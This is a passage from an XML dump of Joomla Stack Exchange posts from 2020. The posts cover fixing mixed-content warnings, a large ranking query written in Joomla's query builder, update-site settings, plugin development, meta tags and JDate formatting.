.png image initiate a request for the main page?&lt;/p&gt;&#xA;&lt;p&gt;I did notice that some other images displayed on the home page that are not causing this error have a _thumb file in the same folder as the 'normal' image, but the two images causing the issue don't have that _thumb file. Could this be the issue? How are those _thumb files generated anyway? The site uses a RocketTheme template, perhaps the _thumb file comes from the template?&lt;/p&gt;&#xA;&lt;p&gt;How do I diagnose, and fix, these mixed content warnings?&lt;/p&gt;&#xA;" OwnerUserId="3948" LastEditorUserId="3948" LastEditDate="2020-09-02T15:43:51.420" LastActivityDate="2020-09-02T19:53:34.177" Title="Mixed content, no http:// in html" Tags="|security|images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28410" PostTypeId="2" ParentId="28409" CreationDate="2020-09-02T16:05:20.533" Score="1" Body="&lt;p&gt;Yes, it turned out the missing _thumb files were the issue. I just copied the original image file with a _thumb extension, and that resolved the issue.&lt;/p&gt;&#xA;&lt;p&gt;Also, in my .htaccess file, there were some entries like:&lt;/p&gt;&#xA;&lt;p&gt;ErrorDocument 400 &lt;a href=&quot;http://www.my-site.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.my-site.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I modified those to be &lt;a href=&quot;https://www.my-site.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.my-site.com&lt;/a&gt; instead of http, and that resolved the mix content issues when there are missing images.&lt;/p&gt;&#xA;" OwnerUserId="3948" LastEditorUserId="3948" LastEditDate="2020-09-02T19:53:34.177" LastActivityDate="2020-09-02T19:53:34.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28411" PostTypeId="2" ParentId="28401" CreationDate="2020-09-02T16:38:21.687" Score="1" Body="&lt;p&gt;I modified my answer from &lt;a href=&quot;https://joomla.stackexchange.com/a/22916/12352&quot;&gt;How to SET a user-defined MySQL variable and increment it to produce ranking values with JDatabaseQuery?&lt;/a&gt; and added some additional subqueries to obtain the best scores for each athlete.&lt;/p&gt;&#xA;&lt;p&gt;I strongly recommend using &amp;quot;gapped ranking&amp;quot; because it more accurately represents athlete performance -- especially in cases of ties.  Unfortunately, this improvement in result quality comes with a cost of increased query complexity/sophistication.&lt;/p&gt;&#xA;&lt;p&gt;Essentially, there are 3 tables being joined.  The &lt;code&gt;athlete_profile&lt;/code&gt; table, a derived table containing each athlete's best score, then another derived table containing the rank assigned to each best score.&lt;/p&gt;&#xA;&lt;p&gt;Tested Joomla code:  (stand back, its a whopper)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;// cache repeated values to prevent redundant method calls&#xA;$qn__fs_score = $db-&amp;gt;qn(&amp;quot;fs_score&amp;quot;);&#xA;$qn__atleta = $db-&amp;gt;qn(&amp;quot;atleta&amp;quot;);&#xA;$qn__all_scores_atleta = $db-&amp;gt;qn(&amp;quot;all_scores.atleta&amp;quot;);&#xA;$qn__all_scores_fs_score = $db-&amp;gt;qn(&amp;quot;all_scores.fs_score&amp;quot;);&#xA;$qn__rank = $db-&amp;gt;qn(&amp;quot;rank&amp;quot;);&#xA;&#xA;// prepare the where conditions to be applied at multiple positions&#xA;$wheres = [&#xA;    $db-&amp;gt;qn(&amp;quot;qualificazione&amp;quot;). &amp;quot; = 1&amp;quot;,&#xA;    $db-&amp;gt;qn(&amp;quot;categoria&amp;quot;). ' IN (' . implode(',', $db-&amp;gt;q([1,99,100])) . ')'&#xA;];&#xA;&#xA;$personal_bests = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($qn__atleta . &amp;quot;, MAX(&amp;quot; . $qn__fs_score . &amp;quot;) AS &amp;quot; . $qn__fs_score)&#xA;    -&amp;gt;from($db-&amp;gt;qn(&amp;quot;scheda_atleta&amp;quot;))&#xA;    -&amp;gt;where($wheres)&#xA;    -&amp;gt;group($qn__atleta);&#xA;&#xA;$bestAthleteScores = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($qn__all_scores_atleta . &amp;quot;, MAX(&amp;quot; . $qn__all_scores_fs_score . &amp;quot;) AS &amp;quot; . $qn__fs_score)&#xA;    -&amp;gt;from($db-&amp;gt;qn(&amp;quot;scheda_atleta&amp;quot;, &amp;quot;all_scores&amp;quot;))&#xA;    -&amp;gt;innerJoin(&amp;quot;(&amp;quot; . $personal_bests . &amp;quot;) &amp;quot; . $db-&amp;gt;qn(&amp;quot;personal_bests&amp;quot;)&#xA;        . &amp;quot; ON &amp;quot; . $qn__all_scores_atleta . &amp;quot; = &amp;quot; . $db-&amp;gt;qn(&amp;quot;personal_bests.atleta&amp;quot;)&#xA;        . &amp;quot; AND &amp;quot; . $qn__all_scores_fs_score . &amp;quot; = &amp;quot; . $db-&amp;gt;qn(&amp;quot;personal_bests.fs_score&amp;quot;)&#xA;    )&#xA;    -&amp;gt;where($wheres)&#xA;    -&amp;gt;group($db-&amp;gt;qn(&amp;quot;all_scores.atleta&amp;quot;))&#xA;    -&amp;gt;order($qn__all_scores_fs_score . &amp;quot; DESC&amp;quot;);&#xA;&#xA;$rankVariable = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&amp;quot;@i := 0&amp;quot;);&#xA;&#xA;$rankedScores = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($qn__fs_score . &amp;quot;, @i := @i + 1 AS &amp;quot; . $qn__rank)&#xA;    -&amp;gt;from(&amp;quot;(&amp;quot; . $bestAthleteScores . &amp;quot;) AS &amp;quot; . $db-&amp;gt;qn(&amp;quot;best_athlete_scores&amp;quot;))&#xA;    -&amp;gt;join(&amp;quot;CROSS&amp;quot;, &amp;quot;(&amp;quot; . $rankVariable . &amp;quot;) AS &amp;quot; . $db-&amp;gt;qn(&amp;quot;rank_variable&amp;quot;));&#xA;&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select([&#xA;        $db-&amp;gt;qn(&amp;quot;athlete_profile.nome_e_cognome&amp;quot;, &amp;quot;athlete_name&amp;quot;),&#xA;        $db-&amp;gt;qn(&amp;quot;athlete_profile.id&amp;quot;, &amp;quot;athlete_id&amp;quot;),&#xA;        &amp;quot;MIN(&amp;quot; . $db-&amp;gt;qn(&amp;quot;ranked_scores.rank&amp;quot;) . &amp;quot;) AS &amp;quot; . $qn__rank,&#xA;        &amp;quot;MAX(&amp;quot; . $db-&amp;gt;qn(&amp;quot;ranked_scores.fs_score&amp;quot;) . &amp;quot;) AS &amp;quot; . $db-&amp;gt;qn(&amp;quot;best_score&amp;quot;)&#xA;    ])&#xA;    -&amp;gt;from($db-&amp;gt;qn(&amp;quot;at&amp;quot;, &amp;quot;athlete_profile&amp;quot;))&#xA;    -&amp;gt;innerJoin(&amp;quot;(&amp;quot; . $personal_bests . &amp;quot;) &amp;quot; . $db-&amp;gt;qn(&amp;quot;athlete_bests&amp;quot;)&#xA;        . &amp;quot; ON &amp;quot; .$db-&amp;gt;qn(&amp;quot;athlete_profile.id&amp;quot;) . &amp;quot; = &amp;quot; . $db-&amp;gt;qn(&amp;quot;athlete_bests.atleta&amp;quot;)&#xA;    )&#xA;    -&amp;gt;innerJoin(&amp;quot;(&amp;quot; . $rankedScores . &amp;quot;) AS &amp;quot; . $db-&amp;gt;qn(&amp;quot;ranked_scores&amp;quot;)&#xA;        . &amp;quot; ON &amp;quot; . $db-&amp;gt;qn(&amp;quot;athlete_bests.fs_score&amp;quot;) . &amp;quot; = &amp;quot; . $db-&amp;gt;qn(&amp;quot;ranked_scores.fs_score&amp;quot;)&#xA;    )&#xA;    -&amp;gt;group($db-&amp;gt;qn([&amp;quot;athlete_id&amp;quot;, &amp;quot;athlete_name&amp;quot;]))&#xA;    -&amp;gt;order($qn__rank);&#xA;&#xA;echo $query-&amp;gt;dump();    // testing only, don't do this when live/public&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot; , var_export($db-&amp;gt;loadAssocList(), true) , &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the rendered query: (&lt;a href=&quot;https://www.db-fiddle.com/f/tvXNu9zATAHWH89SDbRkP2/21&quot; rel=&quot;nofollow noreferrer&quot;&gt;DB-FIDDLE DEMO&lt;/a&gt; *notice the gap at rank 38)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `athlete_profile`.`nome_e_cognome` AS `athlete_name`,&#xA;       `athlete_profile`.`id` AS `athlete_id`,&#xA;       MIN(`ranked_scores`.`rank`) AS `rank`,&#xA;       MAX(`ranked_scores`.`fs_score`) AS `best_score`&#xA;FROM `at` AS `athlete_profile`&#xA;INNER JOIN (&#xA;    SELECT `atleta`,&#xA;           MAX(`fs_score`) AS `fs_score`&#xA;    FROM `scheda_atleta`&#xA;    WHERE `qualificazione` = 1&#xA;          AND `categoria` IN ('1','99','100')&#xA;    GROUP BY `atleta`&#xA;) `athlete_bests` ON `athlete_profile`.`id` = `athlete_bests`.`atleta`&#xA;INNER JOIN (&#xA;    SELECT `fs_score`, &#xA;           @i := @i + 1 AS `rank`&#xA;    FROM (&#xA;        SELECT `all_scores`.`atleta`,&#xA;               MAX(`all_scores`.`fs_score`) AS `fs_score`&#xA;        FROM `scheda_atleta` AS `all_scores`&#xA;        INNER JOIN (&#xA;            SELECT `atleta`,&#xA;                   MAX(`fs_score`) AS `fs_score`&#xA;            FROM `scheda_atleta`&#xA;            WHERE `qualificazione` = 1&#xA;                  AND `categoria` IN ('1','99','100')&#xA;            GROUP BY `atleta`&#xA;        ) `personal_bests` ON `all_scores`.`atleta` = `personal_bests`.`atleta`&#xA;                              AND `all_scores`.`fs_score` = `personal_bests`.`fs_score`&#xA;        WHERE `qualificazione` = 1&#xA;              AND `categoria` IN ('1','99','100')&#xA;        GROUP BY `all_scores`.`atleta`&#xA;        ORDER BY `all_scores`.`fs_score` DESC&#xA;    ) AS `best_athlete_scores`&#xA;    CROSS JOIN (&#xA;        SELECT @i := 0&#xA;    ) AS `rank_variable`&#xA;) AS `ranked_scores` ON `athlete_bests`.`fs_score` = `ranked_scores`.`fs_score`&#xA;GROUP BY `athlete_id`,&#xA;         `athlete_name`&#xA;ORDER BY `rank`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Admittedly, this is so much convolution that it may beg the question &amp;quot;Why not pull all of the records and perform this process in php?&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Well, if you did, I probably wouldn't blame you -- but there is every likelihood that the php solution would be complex/convoluted as well.&lt;/p&gt;&#xA;&lt;p&gt;This solution is not for the faint-of-heart, but hopefully I've named and explained things well enough to express the why and the how of this technique.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-09-10T12:05:54.370" LastActivityDate="2020-09-10T12:05:54.370" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28413" PostTypeId="1" AcceptedAnswerId="28414" CreationDate="2020-09-03T09:50:23.740" Score="1" ViewCount="91" Body="&lt;p&gt;Joomla 3.9.21&lt;/p&gt;&#xA;&lt;p&gt;I have a number of extensions that are notifying me of updates in the Joomla dashboard, I want to temporarily disable these notifications. (&lt;em&gt;I know this isn't best practice and it's temporary&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;p&gt;In &lt;code&gt;Extensions &amp;gt; Manage &amp;gt; Update Sites&lt;/code&gt; I have found the extensions / components and changed their status to &lt;code&gt;disabled&lt;/code&gt;. When I clear the site cache and check &lt;code&gt;Extensions &amp;gt; Find Updates&lt;/code&gt; they are no longer in the list of available updates, great.&lt;/p&gt;&#xA;&lt;p&gt;However they will eventually re-appear in the available updates list and their status in &lt;code&gt;Extensions &amp;gt; Manage &amp;gt; Update Sites&lt;/code&gt; will revert to &lt;code&gt;enabled&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Initially I though this was occurring with just one extension, but it appears to be all my &lt;code&gt;disabled&lt;/code&gt; sites.&lt;/p&gt;&#xA;&lt;p&gt;Any idea why this would be happening?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2020-09-03T10:42:16.833" Title="Disable Update Sites Reverts Back to Enabled" Tags="|joomla-3.x|extensions|update|extension-update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28414" PostTypeId="2" ParentId="28413" CreationDate="2020-09-03T10:42:16.833" Score="1" Body="&lt;p&gt;Found the cause.&lt;/p&gt;&#xA;&lt;p&gt;I'm using a third party tool to manage, upgrade and monitor my Joomla sites. One of the features is to scan the site for available updates, during this process the update sites are all &lt;strong&gt;enabled&lt;/strong&gt;. The developer confirmed this was the expected behaviour of the product.&lt;/p&gt;&#xA;&lt;p&gt;I'm able to disable this feature and my updates sites now remain disabled.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2020-09-03T10:42:16.833" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28415" PostTypeId="1" CreationDate="2020-09-04T15:47:12.033" Score="0" ViewCount="48" Body="&lt;p&gt;I am trying to create a plugin that adds a new view to my component (addon).&lt;/p&gt;&#xA;&lt;p&gt;Can I load my controller, model and view directly from the plugin?&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;For example:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;require_once(&amp;quot;/pludins/myplugintype/myplugin/controllers/controller.php&amp;quot;);&#xA;require_once(&amp;quot;/pludins/myplugintype/myplugin/models/models.php&amp;quot;);&#xA;require_once(&amp;quot;/pludins/myplugintype/myplugin/view/view.html.php&amp;quot;);&#xA;require_once(&amp;quot;/pludins/myplugintype/myplugin/tmpl/default.php&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And the next question.&#xA;Will I be able to create a menu item using &lt;strong&gt;onAfterGetMenuTypeOptions&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="13776" LastActivityDate="2020-09-04T15:47:12.033" Title="Can I load my controller, model and view directly from the plugin?" Tags="|plugin|mvc|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28419" PostTypeId="1" CreationDate="2020-09-05T15:01:37.413" Score="0" ViewCount="585" Body="&lt;p&gt;I'm using Joomla 3.9.18 and I've got a project including a component and a couple of modules. I've got a couple of variables that are the same throughout the whole project (like some prefixes and a path to an image server), but now when I need to change them, I need to change them everywhere. I want to define these variables in one spot so I only need to change them there.&lt;/p&gt;&#xA;&lt;p&gt;Where do I define variables like these and how can I access them in my component and modules?&lt;/p&gt;&#xA;&lt;p&gt;I know configuration.php isn't an option because of core-hacks. I've read something about component options, but I'm still fairly new so I don't really understand how it works. Is this the way to go? And if yes, how does it work (easily explained)?&lt;/p&gt;&#xA;" OwnerDisplayName="debuxxer" LastEditorUserId="12352" LastEditDate="2020-09-06T20:41:39.047" LastActivityDate="2020-09-06T20:41:39.047" Title="Where do I define custom global variables in my Joomla project?" Tags="|custom-component|custom-module|global-configuration|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28420" PostTypeId="2" ParentId="28419" CreationDate="2020-09-06T11:06:43.933" Score="1" Body="&lt;p&gt;See the documentation for &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_configuration/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adding Configuration Parameters&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This then makes your configuration parameters available via the params, these can be obtained anywhere using the JComponentHelper class or via your own method. Example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;JComponentHelper::getParams('com_your_component')-&amp;gt;get('yourcustomfield', 'a-fallback-value');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;As an alternative, you can create a &lt;code&gt;defines.php&lt;/code&gt; at your site root, and include global constants there, as per &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/26aa33ca775f206451f3f701ae11f36c4c246550/index.php#L29&quot; rel=&quot;nofollow noreferrer&quot;&gt;index.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-09-06T11:06:43.933" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28421" PostTypeId="1" CreationDate="2020-09-06T22:01:17.163" Score="1" ViewCount="126" Body="&lt;p&gt;In Joomla's profile plugin, I came across these lines of code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (!HTMLHelper::isRegistered('users.url'))&#xA;        {&#xA;            HTMLHelper::register('users.url', array(__CLASS__, 'url'));&#xA;        }&#xA;&#xA;        if (!HTMLHelper::isRegistered('users.calendar'))&#xA;        {&#xA;            HTMLHelper::register('users.calendar', array(__CLASS__, 'calendar'));&#xA;        }&#xA;&#xA;        if (!HTMLHelper::isRegistered('users.tos'))&#xA;        {&#xA;            HTMLHelper::register('users.tos', array(__CLASS__, 'tos'));&#xA;        }&#xA;&#xA;        if (!HTMLHelper::isRegistered('users.dob'))&#xA;        {&#xA;            HTMLHelper::register('users.dob', array(__CLASS__, 'dob'));&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I checked Joomla API, but still don't quite get what &lt;code&gt;HTMLHelper&lt;/code&gt; does. And it says &lt;code&gt;isRegistered&lt;/code&gt; is to test if the key is registered - register where?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2022-05-30T11:01:30.150" Title="HTMLHelper::isRegistered what is it used for?" Tags="|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28423" PostTypeId="2" ParentId="28421" CreationDate="2020-09-07T08:22:15.117" Score="1" Body="&lt;p&gt;As far as I understand it, this is to allow developers to override the standard Joomla classes which output HTML elements. So if you don't like how Joomla outputs the &amp;quot;dob&amp;quot; element for capturing the user's date of birth, then you can define your own code for displaying it, and then in a plugin you can do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; HTMLHelper::register('users.dob', array('myclass', 'my_dob'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Joomla will then call your class function instead of its standard code.&lt;/p&gt;&#xA;&lt;p&gt;The call to &lt;code&gt;isRegistered()&lt;/code&gt; is just to check if some other plugin has done that - the registration is handled locally within HTMLHelper.&lt;/p&gt;&#xA;&lt;p&gt;See Bakual's answer to &lt;a href=&quot;https://joomla.stackexchange.com/questions/10493/what-does-jhtml-do&quot;&gt;What does JHtml::_ do?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-09-07T08:22:15.117" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28424" PostTypeId="1" CreationDate="2020-09-07T09:00:12.347" Score="3" ViewCount="179" Body="&lt;p&gt;I am trying to create a plugin that will add the following in the  of pages:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta http-equiv=&amp;quot;origin-trial&amp;quot; content=&amp;quot;MY_CHROME_TRIAL_TOKEN&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I assume this should be a system plugin that targets the onAfterRender event so have added this code (I have substituted the real token):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRender()&#xA;{&#xA;  $document = JFactory::getDocument();&#xA;  $document-&amp;gt;setMetaData('origin-trial', 'mychrometrialtoken');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The plugin installs but the meta tag is not added to the page header. What am I doing incorrectly? I am a novice at this so have used a plugin template from Github and modified it. I have probably made a basic error! I wonder if I have specified the tagname 'origin-trial' incorrectly.&lt;/p&gt;&#xA;&lt;p&gt;XML file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension version=&amp;quot;3.1&amp;quot; type=&amp;quot;plugin&amp;quot; group=&amp;quot;system&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_system_tdcchromexhrenable&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;AG&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;8 September 2020&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright (C) 2005 - 2013 Open Source Matters. All rights reserved.&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU General Public License version 2 or later; see LICENSE.txt&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;admin@joomla.org&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;www.joomla.org&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Enable the XHR synchronous setting in Chrome to prevent SCORM errors&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&amp;quot;tdcxhr&amp;quot;&amp;gt;tdcxhr.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;PHP:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;// no direct access&#xA;defined( '_JEXEC' ) or die;&#xA;&#xA;class plg&amp;lt;system&amp;gt;&amp;lt;plg_system_tdcchromexhrenable&amp;gt; extends JPlugin&#xA;{&#xA;    /**&#xA;     * Load the language file on instantiation. Note this is only available in Joomla 3.1 and higher.&#xA;     * If you want to support 3.0 series you must override the constructor&#xA;     *&#xA;     * @var    boolean&#xA;     * @since  3.1&#xA;     */&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    /**&#xA;     * Plugin method with the same name as the event will be called automatically.&#xA;     */&#xA;     function onBeforeCompileHead()&#xA;        {&#xA;           $document = JFactory::getDocument();&#xA;           $document-&amp;gt;setMetaData('origin-trial', 'token_goes_here','http-equiv');&#xA;           return true;&#xA;        }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14503" LastEditorUserId="14503" LastEditDate="2020-09-08T12:05:34.297" LastActivityDate="2020-09-11T08:45:18.900" Title="Creating a plugin to insert a Chrome Trial Token" Tags="|plugin|system-plugin|metadata|" AnswerCount="2" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="28425" PostTypeId="2" ParentId="28424" CreationDate="2020-09-07T09:22:01.177" Score="2" Body="&lt;p&gt;If I were you I would try this instead of onBeforeRender:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;onBeforeCompileHead&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That way you are adding the meta to the document prior to it being rendered.&lt;/p&gt;&#xA;&lt;p&gt;Here is an excellent video explaining all the different plugin types, but admittedly it can take a while to get your head around them.  &lt;a href=&quot;https://www.youtube.com/watch?v=_agXP5DHm_g&amp;amp;list=PLbSGtuctZCf0VSfiMXWtoD5u7wrSmpr_Y&amp;amp;index=18&amp;amp;t=0s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=_agXP5DHm_g&amp;amp;list=PLbSGtuctZCf0VSfiMXWtoD5u7wrSmpr_Y&amp;amp;index=18&amp;amp;t=0s&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It would also be good to add this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    // If we are on admin don't process.&#xA;    if (!$app-&amp;gt;isClient('site'))&#xA;    {&#xA;        return;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Joomla has 2 client apps.  Site and Administrator.  This code will ensure that the plugin only adds the meta data to the front end and not the backend.  Effectively it checks if it is not on the site (e.g. administrator or any other type of client e.g. CLI or Web Services) and if it's not on the site it exits.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-09-07T09:22:01.177" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28426" PostTypeId="1" CreationDate="2020-09-07T21:46:49.047" Score="1" ViewCount="343" Body="&lt;p&gt;I came across:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://api.joomla.org/framework-1/classes/Joomla.Http.Http.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the documentation for Joomla's HTTP client class&lt;/a&gt; and&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://packagist.org/packages/joomla/http&quot; rel=&quot;nofollow noreferrer&quot;&gt;joomla/http in packagist&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Are they the same thing? Are these capable of sending POST requests to an external API?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="12352" LastEditDate="2021-12-14T21:54:28.477" LastActivityDate="2021-12-14T21:54:28.477" Title="Does Joomla CMS or Joomla Framework provide any Class for making POST request to an external API?" Tags="|joomla-api|restful-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28428" PostTypeId="1" AcceptedAnswerId="28429" CreationDate="2020-09-09T09:55:58.740" Score="1" ViewCount="313" Body="&lt;p&gt;So I have this component (built with JCB) where I need to display a saved datetime from the db (without seconds, but that's not my focus right now). Because of some limitations, I cannot simply declare &lt;code&gt;use&lt;/code&gt; statements at the top of the model.&lt;/p&gt;&#xA;&lt;p&gt;I'm now at the point that I called the &lt;code&gt;JDate&lt;/code&gt; like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$date = new Joomla\CMS\Date\Date($item-&amp;gt;kickoff);&#xA;$datenow = new JDate($item-&amp;gt;kickoff);&#xA;$dateHtml =  '';&#xA;echo '&amp;lt;pre&amp;gt;' . var_export($item-&amp;gt;kickoff,true) . '&amp;lt;/pre&amp;gt;';&#xA;echo '&amp;lt;pre&amp;gt;' . var_export($date,true) . '&amp;lt;/pre&amp;gt;';&#xA;$item-&amp;gt;calculated_name =  $dateHtml;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The export gives me:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;'2020-07-30 12:00:00'&#xA;&#xA;Joomla\CMS\Date\Date::__set_state(array(&#xA;   'tz' =&amp;gt; DateTimeZone::__set_state(array(&#xA;       'timezone_type' =&amp;gt; 2,&#xA;       'timezone' =&amp;gt; 'GMT',&#xA;   )),&#xA;   'date' =&amp;gt; '2020-07-30 12:00:00.000000',&#xA;   'timezone_type' =&amp;gt; 2,&#xA;   'timezone' =&amp;gt; 'GMT',&#xA;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I should now be able to use the information from the export, but I cannot. I cannot access &lt;code&gt;$date-&amp;gt;date&lt;/code&gt; or &lt;code&gt;$date-&amp;gt;get('date')&lt;/code&gt; because it's in set state.&lt;/p&gt;&#xA;&lt;p&gt;I'm not able to use &lt;code&gt;HtmlHelper&lt;/code&gt; because I cannot use it like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$dateHtml = new Joomla\CMS\HTML\HTMLHelper($date, Text::_('DATE_FORMAT_FILTER_DATETIME'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My goal: Access the kickoff date calculated with the offset (Joomla installation timezone)&lt;/p&gt;&#xA;&lt;p&gt;Any hints?&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="12352" LastEditDate="2020-09-09T11:59:27.967" LastActivityDate="2020-09-09T11:59:27.967" Title="How to use JDate / HTMLHelper inside model?" Tags="|model|jdate|timezone|htmlhelper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28429" PostTypeId="2" ParentId="28428" CreationDate="2020-09-09T10:48:51.643" Score="2" Body="&lt;p&gt;&lt;code&gt;Joomla\CMS\Date\Date&lt;/code&gt; doesn't have &lt;code&gt;$date&lt;/code&gt; property or &lt;code&gt;get()&lt;/code&gt; method. Use &lt;code&gt;$date-&amp;gt;format($format)&lt;/code&gt; to format the date where &lt;code&gt;$format&lt;/code&gt; is the date format.&lt;/p&gt;&#xA;&lt;p&gt;To format a date using &lt;code&gt;Joomla\CMS\HTML\HTMLHelper&lt;/code&gt;, call its underscore method with &lt;code&gt;date&lt;/code&gt; as first argument, followed by date and format:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\CMS\HTML\HTMLHelper::_('date', $item-&amp;gt;kickoff, $format);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-09-09T10:48:51.643" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
